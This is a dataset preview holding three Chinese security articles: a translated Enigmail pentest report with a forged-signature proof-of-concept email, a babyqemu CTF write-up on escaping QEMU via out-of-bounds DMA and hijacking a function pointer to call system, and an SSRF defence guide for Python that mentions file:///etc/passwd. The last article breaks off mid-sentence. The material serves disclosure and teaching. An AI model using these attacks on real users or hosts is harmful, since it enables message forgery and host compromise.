text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Enigmail渗透测试报告
|
##### 译文声明
本文是翻译文章，文章原作者 Cure53，文章来源：enigmail.net
原文地址：<https://enigmail.net/download/other/Enigmail%20Pentest%20Report%20by%20Cure53%20-%20Excerpt.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
本文为[Cure53](http://www.cure53.de/)发布的Enigmail
渗透测试报告，本报告得到了[Posteo](http://www.posteo.de/)以及[Mozilla安全开源基金（MOSS）](https://www.mozilla.org/en-US/moss/secure-open-source/)的支持，涵盖了有关Thunderbird及Enigmail渗透测试方面的内容。在本文撰写时（即2017年12月10日），我们发现的漏洞并没有全部被修复，因此本文中只介绍了Enigmail中需要修复的漏洞情况。一旦所有问题得到解决，我们将发布完整版报告。
Enigmail Project在这里郑重感谢Pasteo以及MOSS对这份报告的支持。
## 二、漏洞信息
接下来我们会介绍测试过程中我们发现的漏洞以及代码实现上的一些问题。需要注意的是，我们是按照漏洞发现的先后顺序来介绍这些漏洞，并不是根据安全等级及严重程度来排序。我们会在每个漏洞标题后面的括号内给出漏洞的严重等级。与此同时，我们使用唯一的标识符（如
_TBE-01-001_ ）来表示每个漏洞，以便后续对照参考。
**< a name=”2.1 TBE-01-002 Enigmail：解析问题导致凭据伪造（ _严重_ ）” class=”reference-link”>2.1 TBE-01-002 Enigmail：解析问题导致凭据伪造（ _严重_ ）**
测试过程中我们发现了Enigmail在邮件解析过程中存在的一个脆弱性。具体说来，利用这个漏洞，攻击者可以强迫Enigmail使用受攻击者控制的PGP公钥以及相应的私钥。典型的攻击场景如下所示：
1、Bob向Alice发送了一封电子邮件。这封电子邮件看上去的确出自Bob之手，但使用的是Mallory的PGP身份信息来签名及加密。
2、Mallory是一名网络攻击者，他只能修改SMTP通信数据中Bob的“Full
Name”（全名）字段。利用这个漏洞，Mallory可以通过非常隐蔽的方式修改这一字段。换句话说，Alice无法发现这个字段已被修改。
3、Alice回复了Mallory的邮件。由于Mallory悄然篡改了Bob的“Full
Name”字段，因而Alice的回信最终使用的并不是最初Bob的密钥，而是完全不同的PGP密钥。这个PGP密钥可以是受Mallory控制的密钥，也可以是其他任意一个PGP密钥。
如上所述，这个漏洞会导致邮件使用过程中存在完全隐蔽的中间人（Man-in-the-Middle，MitM）攻击场景。因此，我们将这个漏洞的定位为“严重（Critical）”等级，会造成严重后果。
Enigmail中，有两个正则表达式与这个漏洞息息相关。攻击者可以使用这两个表达式来伪造任意的邮件地址。下面我们会给出这个问题的具体原理，但需要注意的是，这个问题会造成更深远的影响，具体可以参考
**TBE-01-004** 中描述的内容。
Enigmail在`funcs.jsm`中定义了一个`stripEmail`函数，这个函数原来的作用是从以逗号分隔的电子邮件列表中，提取出`<[[email protected]](mailto:[email protected])>`中包含的邮件地址。在第一次过滤检查过程中，Enigmail使用一个正则表达式来确保列表中不存在两个`<>`紧挨在一起的情况。具体原理是确保各个尖括号组之间使用逗号进行分隔：
EnigmailFuncsRegexTwoAddr = new RegExp("<[^>,]*>[^,<]*<[^>,]*>");
然而问题在于，如果攻击者额外注入了一对`<>`，并且在邮件地址中包含逗号符，那么就可以欺骗这个正则表达式：
<[email protected],><[email protected]>
然后，Enigmail使用第二个正则表达式来匹配并提取`<>`中的邮件地址：
EnigmailFuncsRegexExtractPureEmail = new RegExp("(^|,)[^,]*<([^>]+)>[^,]*","g");
这将导致带有逗号的第一个邮件地址被成功匹配，并没有匹配正确的`[[email protected]](mailto:[email protected])`这个地址：
<[email protected],><[email protected]>
为了能够正确解析邮件地址，Enigmail完全剔除了逗号，然而实际上这会让情况变得更加糟糕：
mailAddrs.replace(/[,;]+/g, ",").replace(/^,/, "").replace(/,$/, "");
因此，我们可以认为Bob的“Full Name”字段已经从`Bob Bobbington`变成了`Bob Bobbington
<[[email protected]](mailto:[email protected]),>`。
不仅Mallory可以利用这个缺陷，如果Bob想欺骗Alice的话，他自己也可以这么做。如果Bob的“Full
Name”如上所述，那么当Alice想回复Bob时，Enigmail将会查找位于`[[email protected]](mailto:[email protected])`名下的PGP密钥，然后使用该密钥来加密。目前这个例子还远没有达到前面我们提到的“隐蔽”程度，然而，我们还需要注意到Mallory同样可以将Bob的“Full
Name”字段修改为`Bob Bobbington <[[email protected]](mailto:[email protected]),>`。
经过上述操作，看上去攻击者已经可以完全模仿Bob的邮件地址，即`[[email protected]](mailto:[email protected])`。然而事实并非如此，因为用户在“gmail”中看到的字符“a”并实际上是UTF-8编码的西里尔（Cyrillic）字符“
_a_
”。因此，上述字符串并不能完全匹配原始的`[[email protected]](mailto:[email protected])`这个字符串，后者才是Bob真正的邮件地址。为了优化攻击效果，Mallory可以向PGP密钥服务器上传冒充Bob的一个新的身份。如果Mallory故意使用Cyrillic字符来区分不同身份，那么Enigmail就会被误导，自动使用虚假的身份信息。实际上，Enigmail会加密这些信息，从而进一步加深该漏洞利用的隐蔽程度。
如果仔细核查解析过程中使用的这些正则表达式，那么就可以修复这个漏洞。Enigmail应该执行这种验证过程，以防止攻击者恶意注入电子邮件标识符。需要注意的是，Enigmail使用电子邮件地址作为基础标识符来查找SQLite数据库，在内部处理流程中来检索对应的PGP身份信息。因此，如前文所述，解析过程中存在的这类缺陷可能导致非常致命的后果。
**< a name=”2.2 TBE-01-005 Enigmail：重放加密内容导致明文信息泄露（ _高_ ）” class=”reference-link”>2.2 TBE-01-005 Enigmail：重放加密内容导致明文信息泄露（ _高_ ）**
如果受害者之前收到过加密邮件，那么攻击者可以利用该漏洞获取加密邮件的明文内容。将加密数据嵌入邮件正文中后，如果受害者回复邮件时没有舍弃原始邮件信息，那么攻击者就可以知晓解密后的内容。Enigmail支持部分加密邮件功能，这种情况下，只有部分邮件正文会经过加密处理。这样一来，攻击者可以将经过加密的信息隐藏在长篇会话中，完成攻击过程。
**重现步骤：**
1、Mallory截获到Alice发给Bob的加密信息。
2、Mallory开始与Bob对话。为了成功完成攻击，Bob在回复邮件时必须保留原始会话信息。
3、在往来会话信息篇幅变得足够长时，Mallory将截获的PGP数据插入会话中，会话中其他数据处于未加密状态。
4、当Bob收到这个信息时，PGP数据就会被自动解密。
5、由于Bob很可能不会再去阅读先前的对话内容，因此他无法察觉到Mallory添加的额外信息。如果Bob按照预期那样回复这个信息，那么解密后的内容就会发给Mallory。
攻击者可以使用另一种方法来利用这个漏洞，这种方法需要社会工程学配合，同时要利用Thunderbird的转发功能。具体的攻击方法如下所示：
**重现步骤：**
1、Mallory拦截到Alice发往Bob的加密信息。
2、Mallory向Bob发送了一段非常长的文本信息，这段信息中包含加密过的PGP数据以及一则简短的讯息，Mallory需要通过这则讯息说服Bob将这封邮件转发给Trudy，同时不要阅读具体的数据。
3、如果Bob按照Mallory的指示转发邮件，那么Enigmail会自动解密其中包含的PGP数据，解密后的明文信息就会发送给Trudy。
需要注意的是，这个漏洞可以归结于设计理念的问题。特别是这种攻击场景还需要用户配合（比如用户毫不察觉或者比较懒惰）才能顺利完成。
当邮件中包含部分加密数据时，Thunderbird会弹出一个信息提示框。然而，用户很容易忽视掉这个信息。我们建议邮件软件在转发或者回复包含部分加密数据的邮件时，继续保持这些数据处于加密状态。另一种方法是，我们建议当用户回复或转发部分加密信息时，相关软件应该弹出引人注目的警告窗口。
**< a name=”2.3 TBE-01-021 Enigmail：解析缺陷显示伪造签名（ _严重_ ）” class=”reference-link”>2.3 TBE-01-021 Enigmail：解析缺陷显示伪造签名（ _严重_ ）**
简而言之，Enigmail无法正确查找并验证邮件附件的签名。Enigmail在解析邮件过程中存在漏洞，无法将电子邮件的内容与附件内容正确区分开来。如果作为附件的邮件经过签名处理，Enigmail会验证签名是否与附件内容相匹配，不过在用户看来，好像整封邮件都被正确签名过。这样一来，攻击者可以创造一封伪造的邮件（比如来自`[[email protected]](mailto:[email protected])`的邮件），这封邮件将经过`[[email protected]](mailto:[email protected])`签名的邮件作为附件。对收件人而言，看起来好像整封邮件都经过Bob签名，然而事实上只有附件带有Bob的签名。
**重现步骤：**
1、保存经过受害者正确签名的一封邮件。
2、创建一封新的邮件，将之前保存的邮件作为新邮件的附件。
3、将新的邮件发给目标收件人。
4、在目标收件人看来，这封邮件带有受害者的正确签名。
**举个例子，邮件正文如下所示：**
Delivered-To: [email protected]
Return-Path: <[email protected]>
To: Mario Heiderich <[email protected]>, Jonas Magazinius <[email protected]>
From: "Dr.-Ing. Mario Heiderich" <[email protected]>
Subject: This is totally signed by [email protected]!
Date: Fri, 29 Sep 2017 12:35:19 +0200
Content-Type: multipart/mixed; boundary="------------AEA294334A39599F740CD34A"
This is a multi-part message in MIME format.
--------------AEA294334A39599F740CD34A
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable
Hey!
Just writing this totally legit email and it's totally signed by me([email protected]).
/Mario
--------------AEA294334A39599F740CD34A
Content-Type: message/rfc822;
name="poc.eml"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="poc.eml"
Subject: [REDACTED]
To: [email protected]
From: "Dr.-Ing. Mario Heiderich" <[email protected]>
Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA"
This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA
Content-Type: multipart/mixed; boundary="MkhracRKbd653uoMlB5pR9frBfLDD2DJK"; protected-headers="v1"
From: "Dr.-Ing. Mario Heiderich" <[email protected]>
To: [email protected]
Subject: [REDACTED]
--MkhracRKbd653uoMlB5pR9frBfLDD2DJK
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable
Hi,
[REDACTED]
Cheers,
=2Emario
--MkhracRKbd653uoMlB5pR9frBfLDD2DJK-- --PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"
-----BEGIN PGP SIGNATURE----- Version: GnuPG v2
iQIcBAEBCAAGBQJZdwtDAAoJEMJshYCQ9wra/7kP/20hr3PCSO4Lm0eZ6OCpuhGj
p04h38Mx6Jxrn+i85yMA/Bk7aU48spraWNm9cVBv8sFnVLdSTs9IiNcNsEznUCM3
KMxkva+E8u3+uuOZEGlo70L/c8EFIkXT2TrW241ZMJFLzhvcAaQLKD4V+cnsJ6CS
bV9v0WYfFH3sS4ImTj1VPVGKfLgYQnxZK/OTnxVM7oHwb4ibshqGBic2L4C4afDI
K8MRc4Fek+llKPBqH/1Am72tTyyweGFyRAfJJ5BfxJTrSSJ08KPMya6NHQq4QG0A
63Sy1Ji1l5j9BoK+Y7VolwmONDnBYLnyTkN/UoPl/6C7rA8SVQzuQtG/qihXete6
6vrlwEADuS904BZv3BJuhwIw9irmqFSjMFcx4gRldZzvyII7MD7IvtSouSsbwSTZ
3swiifz5fNRUrKq4yNarLCqOKbXn+W0mSjS6Ft23wnMosadGNyT49t6f9ZPILpuB
kL2Cro1Sihsrryzg/Y5NG52Dy2BFH7VfBHjIIl++1dTU6nnfGCZ3XWdnXB5sX2BH
i+cZ2GFiu05ICgi7tdIAjL7Zwh0P1Pf4uAwZ4o5F7Ilxo1ez5LFMTPMoVa1R1E8t
bS/DwqhzTad5EXhhJknpNDt8VZJpx+XjHbD+QW4z8OTlLSVQ2UYnLZXqQsgzK8yE
hGGHg2U2a9dCF7psD2Cf
=VrRa
-----END PGP SIGNATURE----- --PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA-- --------------AEA294334A39599F740CD34A--
根据前面的分析，我们建议相关软件在签名验证流程中修复邮件解析过程中的问题，需要确认整封邮件都经过签名，而不单单是邮件附件经过签名。
## 三、 其他问题
这部分内容中，我们会介绍一些值得关注的问题，虽然这些问题不会直接与漏洞利用工具关联起来，但攻击者可以借助这些漏洞进一步实现恶意目标。这些问题中，大多数为存在漏洞的代码片段，攻击者无法通过简单的方法来调用这些代码。总而言之，虽然的确存在漏洞，但攻击者不一定能够使用相应的漏洞利用技术。
**< a name=”3.1 TBE-01-001 Enigmail：不安全的随机密钥生成过程（ _低_ ）” class=”reference-link”>3.1 TBE-01-001 Enigmail：不安全的随机密钥生成过程（ _低_ ）**
Enigmail在实现[pEp（pretty Easy
privacy）](https://en.wikipedia.org/wiki/Pretty_Easy_privacy)过程中，调用了JavaScript的`Math.Random()`函数来生成安全令牌。然而这并不是一种非常[安全](https://stackoverflow.com/questions/5651789/is-math-random-cryptographically-secure)的伪随机数生成方法。
**受影响的文件：**
/enigmail-source/package/rng.jsm
**调用位置：**
/enigmail-source/packagepEpAdapter.jsm:
**受影响的代码：**
gSecurityToken = EnigmailRNG.generateRandomString(40);
[...]
/**
* Create a string of random characters with numChars length
*/
function generateRandomString(numChars) {
let b = "";
let r = 0;
for (let i = 0; i < numChars; i++) {
r = Math.floor(Math.random() * 58);
b += String.fromCharCode((r < 10 ? 48 : (r < 34 ? 55 : 63)) + r);
} return b;
}
`generateRandomString()`函数中使用了`Math.random()`，然而这种方法并不安全。相对而言，我们推荐使用更为安全的随机数生成方法，实际上`rng.jsm`中已经包含这个方法。通常情况下，JavaScript中最广泛使用的较为安全的伪随机数生成函数为`window.crypto.getRandomValues()`，如果需要生成的随机值比较重要，那么应该使用这个函数。
**< a name=”3.2 TBE-01-003 Enigmail：可用于拒绝服务的正则表达式漏洞（ _低_ ）” class=”reference-link”>3.2 TBE-01-003 Enigmail：可用于拒绝服务的正则表达式漏洞（ _低_ ）**
正则表达式经常用来解析用户输入数据或者`gnupg`的输出数据，使用范围太过于广泛。因此，这也让拒绝服务（Denial of
Service，DoS）攻击有了可乘之机。在我们发现的这些漏洞中，软件会将任意长度的附件头部、URL协议头部以及邮件地址链接当成有效输入数据。因此，攻击者可以将非常巨大的一个字符串传递给Enigmail内部处理函数，在客户端造成拒绝服务攻击，最终导致客户端崩溃。
我们并没有发现这个问题会带来更加严重的后果，因此我们不认为这个问题会对用户安全造成任何实际层面上的影响。除了给用户正常工作流程带来干扰之外，这个漏洞无法造成更多危害。
**受影响的文件：**
/enigmail-source/package/decryption.jsm
**受影响的代码：**
if (attachmentHead.match(/-----BEGIN PGP w+ KEY BLOCK-----/)) {
// attachment appears to be a PGP key file
**受影响的文件：**
/enigmail-source/ui/content/enigmailMessengerOverlay.js
**受影响的代码：**
// Hyperlink URLs
var urls = text.match(/b(http|https|ftp):S+s/g);
**受影响的文件：**
/enigmail-source/ui/content/enigmailMessengerOverlay.js
**受影响的代码：**
// Hyperlink email addresses
var addrs = text.match(/b[A-Za-z0-9_+.-]+@[A-Za-z0-9.-]+b/g);
根据我们检测到的这些问题，Enigmail可以使用匹配固定长度输入数据的正则表达式来替换匹配任意长度输入数据的这些正则表达式。比如，不同的场景可以处理不同的输入数据长度，通常情况下预先处理1到1024个字符长度即可满足要求。对于PGP头部而言，只需要预先处理1到10个字符就足以满足要求。 | 社区文章 |
## 描述
下载文件，解压后文件结构如下：
$ ls -l
total 407504
-rwxr-xr-x@ 1 raycp staff 281 Jul 11 2017 launch.sh
drwxr-xr-x@ 59 raycp staff 1888 Jul 11 2017 pc-bios
-rwxr-xr-x@ 1 raycp staff 39682064 Jul 11 2017 qemu-system-x86_64
-rw-r--r--@ 1 raycp staff 3864064 Jul 11 2017 rootfs.cpio
-rwxr-xr-x@ 1 raycp staff 7308672 Jul 11 2017 vmlinuz-4.8.0-52-generic
其中`launch.sh`内容如下：
#!/bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda
## 分析
首先将设备`sudo ./launch.sh`运行起来并将`qemu-system-x86_64`拖到IDA里面进行分析。
运行起来的时候可能会报错如下错误，`sudo apt-get install libcurl3`即可解决。登录用户名为`root`，密码为空。
./qemu-system-x86_64: /usr/lib/x86_64-linux-gnu/libcurl.so.4: version `CURL_OPENSSL_3' not found (required by ./qemu-system-x86_64)
根据命令行参数`-device hitb`，大概知道了要pwn的目标pci设备是`hitb`。在IDA里面搜索hitb相关的函数，相关函数列表如下：
查看`pci_hitb_register_types`，知道了该设备所对应的`TypeInfo`。并且它的`class_init`函数为`hitb_class_init`，`instance_init`函数为`hitb_instance_init`。
其对应的结构体为`HitbState`：
00000000 HitbState struc ; (sizeof=0x1BD0, align=0x10, copyof_1493)
00000000 pdev PCIDevice_0 ?
000009F0 mmio MemoryRegion_0 ?
00000AF0 thread QemuThread_0 ?
00000AF8 thr_mutex QemuMutex_0 ?
00000B20 thr_cond QemuCond_0 ?
00000B50 stopping db ?
00000B51 db ? ; undefined
00000B52 db ? ; undefined
00000B53 db ? ; undefined
00000B54 addr4 dd ?
00000B58 fact dd ?
00000B5C status dd ?
00000B60 irq_status dd ?
00000B64 db ? ; undefined
00000B65 db ? ; undefined
00000B66 db ? ; undefined
00000B67 db ? ; undefined
00000B68 dma dma_state ?
00000B88 dma_timer QEMUTimer_0 ?
00000BB8 dma_buf db 4096 dup(?)
00001BB8 enc dq ? ; offset
00001BC0 dma_mask dq ?
00001BC8 db ? ; undefined
00001BC9 db ? ; undefined
00001BCA db ? ; undefined
00001BCB db ? ; undefined
00001BCC db ? ; undefined
00001BCD db ? ; undefined
00001BCE db ? ; undefined
00001BCF db ? ; undefined
00001BD0 HitbState ends
先看`hitb_class_init`函数：
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
PCIDeviceClass *v2; // rax
v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
a1,
"pci-device",
"/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c",
469,
"hitb_class_init");
v2->revision = 16;
v2->class_id = 255;
v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_hitb_realize;
v2->exit = (PCIUnregisterFunc *)pci_hitb_uninit;
v2->vendor_id = 0x1234;
v2->device_id = 0x2333;
}
看到它所对应的`device_id`为`0x2333`，`vendor_id`为`0x1234`。在qemu虚拟机里查看相应的pci设备：
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333
`00:04.0`为相应的`hitb`设备，不知道为啥`lspci`命令没有`-v`选项，要查看I/O信息，查看`resource`文件：
# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
`resource`文件内容的格式为`start_address end_address
flag`，根据`flag`最后一位可知存在一个MMIO的内存空间，地址为`0x00000000fea00000`，大小为`0x100000`
查看`pci_hitb_realize`函数：
void __fastcall pci_hitb_realize(HitbState *pdev, Error_0 **errp)
{
pdev->pdev.config[61] = 1;
if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
{
timer_init_tl(&pdev->dma_timer, main_loop_tlg.tl[1], 1000000, (QEMUTimerCB *)hitb_dma_timer, pdev);
qemu_mutex_init(&pdev->thr_mutex);
qemu_cond_init(&pdev->thr_cond);
qemu_thread_create(&pdev->thread, "hitb", (void *(*)(void *))hitb_fact_thread, pdev, 0);
memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);
pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
}
函数首先注册了一个[timer](https://rickylss.github.io/qemu/2019/05/20/qemu-timer.html)，处理回调函数为`hitb_dma_timer`，接着注册了`hitb_mmio_ops`内存操作的结构体，该结构体中包含`hitb_mmio_read`以及`hitb_mmio_write`，同时也看到了`size`大小为`0x100000`。
接下来仔细分析`hitb_mmio_read`以及`hitb_mmio_write`函数。
`hitm_mmio_read`函数没有什么关键的操作，主要就是通过`addr`去读取结构体中的相应字段。
关键的在`hitm_mmio_write`函数中，关键代码部分如下：
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t value, unsigned int size)
{
uint32_t v4; // er13
int v5; // edx
bool v6; // zf
int64_t v7; // rax
if ( (addr > 0x7F || size == 4) && (!((size - 4) & 0xFFFFFFFB) || addr <= 0x7F) )
{
if ( addr == 0x80 )
{
if ( !(opaque->dma.cmd & 1) )
opaque->dma.src = value; // 0x80 set src
}
else
{
v4 = value;
if ( addr > 128 )
{
if ( addr == 140 )
{
...
}
else if ( addr > 0x8C )
{
if ( addr == 144 )
{
if ( !(opaque->dma.cmd & 1) )
opaque->dma.cnt = value; // 144 set cnt
}
else if ( addr == 152 && value & 1 && !(opaque->dma.cmd & 1) )
{
opaque->dma.cmd = value; // 152 set cmd
v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
timer_mod(
&opaque->dma_timer,
((signed __int64)((unsigned __int128)(0x431BDE82D7B634DBLL * (signed __int128)v7) >> 64) >> 18) //trigger timer
- (v7 >> 63)
+ 100);
}
}
...
else if ( addr == 136 && !(opaque->dma.cmd & 1) )
{
opaque->dma.dst = value; // 136 set dst
}
}
...
}
关键操作包括：
1. 当`addr`为`0x80`的时候，将`value`赋值给`dma.src`。
2. 当`addr`为`144`的时候，将`value`赋值给`dma.cnt`。
3. 当`addr`为`152`的时候，将`value`赋值给`dma.cmd`，并触发timer。
4. 当`addr`为`136`的时候，将`value`赋值给`dma.dst`。
可以看到`hitb_mmio_write`函数基本上是通过`addr`将设备结构体中的`dma`字段赋值，`dma`的定义为：
00000000 dma_state struc ; (sizeof=0x20, align=0x8, copyof_1491)
00000000 ; XREF: HitbState/r
00000000 src dq ?
00000008 dst dq ?
00000010 cnt dq ?
00000018 cmd dq ?
00000020 dma_state ends
再去看timer触发之后的操作，即`hitb_dma_timer`函数：
void __fastcall hitb_dma_timer(HitbState *opaque)
{
dma_addr_t cmd; // rax
__int64 idx; // rdx
uint8_t *addr; // rsi
dma_addr_t v4; // rax
dma_addr_t v5; // rdx
uint8_t *v6; // rbp
uint8_t *v7; // rbp
cmd = opaque->dma.cmd;
if ( cmd & 1 )
{
if ( cmd & 2 )
{
idx = (unsigned int)(LODWORD(opaque->dma.src) - 0x40000);
if ( cmd & 4 )
{
v7 = (uint8_t *)&opaque->dma_buf[idx];
((void (__fastcall *)(uint8_t *, _QWORD))opaque->enc)(v7, LODWORD(opaque->dma.cnt));
addr = v7;
}
else
{
addr = (uint8_t *)&opaque->dma_buf[idx];
}
cpu_physical_memory_rw(opaque->dma.dst, addr, opaque->dma.cnt, 1);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
}
else
{
v6 = (uint8_t *)&opaque[0xFFFFFFDBLL].dma_buf[(unsigned int)opaque->dma.dst + 0x510];
LODWORD(addr) = (_DWORD)opaque + opaque->dma.dst - 0x40000 + 0xBB8;
cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
...
}
可以看到主要操作包含三部分：
1. 当dma.cmd为`2|1`时，会将`dma.src`减`0x40000`作为索引`i`，然后将数据从`dma_buf[i]`拷贝利用函数`cpu_physical_memory_rw`拷贝至物理地址`dma.dst`中，拷贝长度为`dma.cnt`。
2. 当dma.cmd为`4|2|1`时，会将`dma.dst`减`0x40000`作为索引`i`，然后将起始地址为`dma_buf[i]`，长度为`dma.cnt`的数据利用利用`opaque->enc`函数加密后，再调用函数`cpu_physical_memory_rw`拷贝至物理地址`opaque->dma.dst`中。
3. 当dma.cmd为`0|1`时，调用`cpu_physical_memory_rw`将物理地址中为`dma.dst`，长度为`dma.cnt`，拷贝到`dma.dst`减`0x40000`作为索引`i`，目标地址为`dma_buf[i]`的空间中。
到这里基本上可以看出这个设备的功能，主要是实现了一个`dma`机制。DMA(Direct Memory Access，直接内存存取)
是所有现代电脑的重要特色，它允许不同速度的硬件装置来沟通，而不需要依赖于 CPU 的大量中断负载。DMA
传输将数据从一个地址空间复制到另外一个地址空间。当CPU 初始化这个传输动作，传输动作本身是由 DMA 控制器来实行和完成。
即首先通过访问mmio地址与值（`addr`与`value`），在`hitb_mmio_write`函数中设置好`dma`中的相关值（`src`、`dst`以及`cmd`)。当需要`dma`传输数据时，设置`addr`为152，就会触发时钟中断，由另一个线程去处理时钟中断。
时钟中断调用`hitb_dma_timer`，该函数根据`dma.cmd`的不同调用`cpu_physical_memory_rw`函数将数据从物理地址拷贝到`dma_buf`中或从`dma_buf`拷贝到物理地址中。
功能分析完毕，漏洞在哪儿呢？我们可以看到`hitb_dma_timer`中拷贝数据时`dma_buf`中的索引是可控的，且没有限制。因此我们可以通过设置其相应的值导致越界读写，读写的数据长度也是可控的`dma.cnt`。而`dma_buf`的大小是有限的（`4096`），所以当我们的索引大于4096的时候就会发生越界读写，造成非预期结果。
## 利用
整个利用流程包括：
1. 首先是越界读的内容，往`dma_buf`往后看到了`enc`指针，可以读取该指针的值以实现地址泄露。泄露地址后根据偏移，可以得到程序基址，然后计算得到`system plt`地址。
2. 将参数`cat /root/flag`写入到`buf_buf`中。
3. 其次是越界写的内容，我们可以将`system plt`地址写入到`enc`指针，最后触发`enc`函数实现`system`函数的调用，实现`system("cat /root/flag")`。
需要指出的一点是`cpu_physical_memory_rw`是使用的物理地址作为源地址或目标地址，因此我们需要先申请一段内存空间，并将其转换至其物理地址。虚拟地址转换到物理地址转换在前面[文章](https://ray-cp.github.io/archivers/qemu-pwn-basic-knowledge#qemu概述)也描述过，可以通过读取
`/proc/$pid/pagemap`实现转换。
### 动态调试
我一开始也尝试往启动脚本中加入`-netdev
user,id=net0,hostfwd=tcp::5555-:22`来实现ssh的端口转发，然后将exp通过scp传上去。但是结果失败了，只能想其它办法。
因为这是使用`cpio`作为文件系统的，所以可以先将该文件系统解压，然后将exp放入其中，最后再启动虚拟机。
首先是解压文件：
1. gunzip XXX.cpio.gz
2. cpio -idmv < XXX.cpio
然后将`exp.c`编写好，放到解压出来的文件夹里。运行`make`命令，编译exp并重打包cpio，`makefile`内容如下：
ALL:
gcc -O0 -static -o exp exp.c
find . | cpio -o --format=newc > ../rootfs.cpio
为了方便调试可以先`sudo gdb ./qemu-system-x86_64`调试进程，下好断点后再用下面的命令启动虚拟机：
pwndbg> r -initrd ./rootfs.cpio -kernel ./vmlinuz-4.8.0-52-generic -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -L ./dependency/usr/local/share/qemu -L pc-bios -device hitb,id=vda
再提一句，直接在gdb里面最后执行system起一个新进程的时候可能会报下面的错误。不要以为exp没写对，要是看到了执行到system并且参数也对了，不用gdb调试，直接起虚拟机，再执行一遍exp，就可以看到成功逃逸了。
# [New process 4940]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 4940 is executing new program: /bin/dash
/build/gdb-JPMZNV/gdb-8.1/gdb/breakpoint.c:13230: internal-error: void delete_breakpoint(breakpoint*): Assertion `bpt != NULL' failed.
A problem internal to GDB has been detected,
further debugging may prove unreliable.
This is a bug, please report it. For instructions, see:
<http://www.gnu.org/software/gdb/bugs/>.
[1] 4926 abort sudo gdb ./qemu-system-x86_64
## 小结
其实对于qemu的timer以及dma都还不太清楚，后面也还需要再学习。学习qemu
pci设备也可以看qemu的`edu`设备：[edu.c](https://github.com/qemu/qemu/blob/master/hw/misc/edu.c)
相关文件以及脚本[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/hitb-gsec-2017-babyqemu)
## 参考链接
1. [HITB GSEC 2017: babyqemu](https://kitctf.de/writeups/hitb2017/babyqemu)
2. [DMA（直接存储器访问）](https://baike.baidu.com/item/DMA/2385376?fr=aladdin)
3. [QEMU timer模块分析](https://rickylss.github.io/qemu/2019/05/20/qemu-timer.html)
4. [edu.c](https://github.com/qemu/qemu/blob/master/hw/misc/edu.c) | 社区文章 |
原文地址：<https://www.cdxy.me/?p=744>
CMS某些需求导致服务器主动向外发起请求，比如从外部URL添加资源：
目前很多成熟cms并不能有效控制该接口风险，我的第一个CVE就由它而来。
技术细节不再叙述，建议先阅读P神的文章，其中给出了非常棒的Python解决方案。
* [谈一谈如何在Python开发中拒绝SSRF漏洞](https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html)
## 防御策略
1. 使用计数器确保30x跳转不会进入死循环
2. 归一化IP，防止畸形IP(8/10/16进制、省略格式)绕过防御规则。案例: [WordPress <4.5 SSRF 分析](http://xlab.baidu.com/wordpress/)
3. 白名单验证协议(http/https)和端口号(80/8080/443)
4. 黑名单验证IP是否属于内网
5. 跳转之后注意要继续进行2,3,4步的验证
## Python风险点
Python开发中常用三种http请求方法(pycurl/urllib/requests)，这里简单分析其安全性及注意事项。
#### 重定向
是否默认跟随重定向
* pycurl（不跟随）
* urllib/urllib2/requests（跟随）
默认最大重定向次数
* pycurl（未限制）
* urllib/urllib2（10次）
* requests（30次）
风险点：使用pycurl开启跟随跳转之后，需手动限制最大跳转次数。
c = pycurl.Curl()
c.setopt(pycurl.FOLLOWLOCATION, 1)
c.setopt(pycurl.MAXREDIRS, 5)
#### 协议支持
urllib/urllib2/requests -> http/https/ftp
同时urllib/urllib2也支持`file:///etc/passwd`
pycurl支持更多：
